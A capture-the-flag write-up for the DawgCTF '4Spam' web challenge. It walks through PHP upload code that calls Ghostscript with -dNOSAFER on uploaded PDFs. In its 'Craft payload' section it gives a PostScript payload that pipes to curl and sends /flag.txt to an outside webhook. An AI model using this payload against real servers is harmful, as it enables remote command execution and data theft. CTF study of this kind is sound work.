Skip to content

4Spam

Introduction

DawgCTF

Category: Fwn (Web)

Write-up date: 24/04/2025

Question: In the wake of last week's events, we've created a replacement.

An old dump of some of the code is available under the name 4spam. The flag is at /flag.txt.

Point: 200

Source code analysis

When the page load, it first try to connect to the database, check if database can access or not. Then the php try to check if the request is 'POST' or not

if ($_SERVER['REQUEST_METHOD'] === 'POST')

When look back at the page, we can see it's just contain a forum send page. So we can assume that this post request is form the post status of forum.

In the post forum, we can see a textbox, and send a file to server. So we can safely assume that it the exploit is related to xss, or rce from post function.

$allowedExt = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'webp'];

if (!empty($_FILES['image']['name'])) {
    $ext = strtolower(pathinfo($_FILES['image']['name'], PATHINFO_EXTENSION));

    if (!in_array($ext, $allowedExt, true)) {
        die('Unsupported file type.');
    }
    if ($_FILES['image']['size'] > $maxSize) {
        die('File exceeds maximum size of 5 MB.');
    }
    if (!is_dir($uploadsDir) && !mkdir($uploadsDir, 0755, true)) {
        die('Failed to create uploads directory.');
    }

    $filename = uniqid('img_', true) . '.' . $ext;
    $dest     = $uploadsDir . '/' . $filename;

    if (!move_uploaded_file($_FILES['image']['tmp_name'], $dest)) {
        die('Failed to move uploaded file.');
    }
    $imageRel = 'uploads/' . $filename;

    if ($ext == 'pdf') {
        exec("gs -dBATCH -dNOSAFER -dNODISPLAY -dNOPAUSE -sDEVICE=jpeg -dLastPage=1 -r100 -sOutputFile={$imageRel}_proc.jpg $imageRel");
        exec("convert {$imageRel}_proc.jpg -thumbnail 100x100^ -gravity center -extent 100x100 {$imageRel}_thumb.jpg");
    } else {
        exec("convert $imageRel -thumbnail 100x100^ -gravity center -extent 100x100 {$imageRel}_thumb.jpg");
    }
}

In the upload file code, they have already sanitize the file extension, so no LFI. But when we look closer the code for 'pdf' extension use gs tag -dNOSAFER to parse pdf to jpg thumbnail. After some research, I found out that -dNOSAFER tag can actually run some command https://blog.redteam-pentesting.de/2023/ghostscript-overview/. And so we can upload the ghostscript file, RCE then get the flag.

Craft payload

Using curl, we can send data from server to another webhooks.

/outputFile (%pipe%curl --data "`cat /flag.txt`" https://webhook.site/ddc030f1-f01f-44e8-8260-3441f446f8ea)
run

Rename file to pdf because the server only accept pdf, not gs. Send the payload to server, wait for the upload to finish and we get the flag.

alt text

FLAG: DawgCTF{h4ck3d_by_0pay_expl01t}